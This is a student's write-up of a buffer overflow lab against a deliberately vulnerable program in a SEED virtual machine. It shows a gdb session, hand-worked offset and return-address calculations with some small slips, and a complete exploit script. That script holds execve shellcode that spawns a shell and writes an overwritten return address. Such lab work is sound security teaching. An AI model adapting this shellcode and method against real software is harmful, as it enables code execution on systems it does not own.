Edwin Cervantes

Project 2: Buffer Overflow Attack

To perform the attack in the virtual machine I executed the following commands:

```
[02/27/21]seed@VM:.../src$ python3 exploit.py
[02/27/21]seed@VM:.../src$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadm
in),128(sambashare)
$
```

To find the value of $ebp I used gdb on stack_dbg(included in src). Inserting a breakpoint at function bof since that is where the strcpy() is. Then using gdb I could easily obtain the $ebp by doing p $ebp. Below is my gdb workflow.

```
_fini
gdb-peda$ b bof
Breakpoint 1 at 0x80484f4: file stack.c, line 21.
gdb-peda$ run
Starting program: /mnt/share/buffer_m10786844/src/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffeb27 --> 0x34208
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffea88 --> 0xbfffed38 --> 0x0
ESP: 0xbfffea00 --> 0xb7fe4970 (<_dl_lookup_symbol_x+16>:       add    edi,0x1a690)
EIP: 0x80484f4 (<bof+9>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484eb <bof>:     push   ebp
   0x80484ec <bof+1>:   mov    ebp,esp
   0x80484ee <bof+3>:   sub    esp,0x88
=> 0x80484f4 <bof+9>:   sub    esp,0x8
   0x80484f7 <bof+12>:  push   DWORD PTR [ebp+0x8]
   0x80484fa <bof+15>:  lea    eax,[ebp-0x80]
   0x80484fd <bof+18>:  push   eax
   0x80484fe <bof+19>:  call   0x8048390 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffea00 --> 0xb7fe4970 (<_dl_lookup_symbol_x+16>:      add    edi,0x1a690)
0004| 0xbfffea04 --> 0x80481dc --> 0x33 ('3')
0008| 0xbfffea08 --> 0x1
0012| 0xbfffea0c --> 0xb7f1c000 --> 0x1b1db0
0016| 0xbfffea10 --> 0x804a00c --> 0xb7dc8880 (<__GI__IO_fread>:        push   ebp)
0020| 0xbfffea14 --> 0xb7fe97a2 (<_dl_fixup+194>:       mov    edi,eax)
0024| 0xbfffea18 --> 0xb7dd3209 (<__GI__IO_file_xsgetn+9>:      add    eax,0x148df7)
0028| 0xbfffea1c --> 0xb7f1c000 --> 0x1b1db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffeb27 "\bB\003") at stack.c:21
21          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea88
gdb-peda$ p &buffer
$2 = (char (*)[120]) 0xbfffea08
gdb-peda$ p/d 0xbfffea88 - 0xbfffea08
$3 = 128
gdb-peda$
```

The content of badfile was then founded by finsing the return addess($ebp + 4) – start of buffer($ebp – d). This gave me 132. Below is my work flow that I took notes over. This is included in buffer_m10786844/notes

edwin@edwin-HP-Spectre-x360-Convertible: ~

```
$ebp = 0xbfffea88

Return address stored = $ebp + 4

start of buffer = 0xbfffea08

d = 128

top of stack = $ebp - d

difference between start of buffer and ra = ra - top of stack
    (ebp + 4) - (ebp - d)
    (x88 + 4) - (x88 - 128)
    (136 + 4) - (136 - 128)
    (140 - 8) = 132 = x84

attacker fills content[132:136] with the return address x

x = $ebp - 128 + 517(bytes in badfile) - 30(bytes in shellcode)
x = $ebp - 128 + 517 - 30
x =  $ebp + 359
x(hex) = 0xbfffea88 +
x = bfffebef

attacker fills content[132:136] with 0xbfffebef

Offset: 0xbfffebef - 0xbfffeaf8 = 0xf7 = 247
```

The attack was successful as proved by image 1. Below is what I edited exploit.py to be after finding the needed information.

Terminal File Edit View Search Terminal Tabs Help 11:51 AM

Terminal | Terminal

```python
#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"    # xorl    %eax,%eax
   "\x50"        # pushl   %eax
   "\x68""//sh"  # pushl   $0x68732f2f
   "\x68""/bin"  # pushl   $0x6e69622f
   "\x89\xe3"    # movl    %esp,%ebx
   "\x50"        # pushl   %eax
   "\x53"        # pushl   %ebx
   "\x89\xe1"    # movl    %esp,%ecx
   "\x99"        # cdq
   "\xb0\x0b"    # movb    $0x0b,%al
   "\xcd\x80"    # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xbfffea88 + 247   # replace 0xAABBCCDD with the correct value
offset = 132            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
~
~
~
"exploit.py" 35L, 1028C
```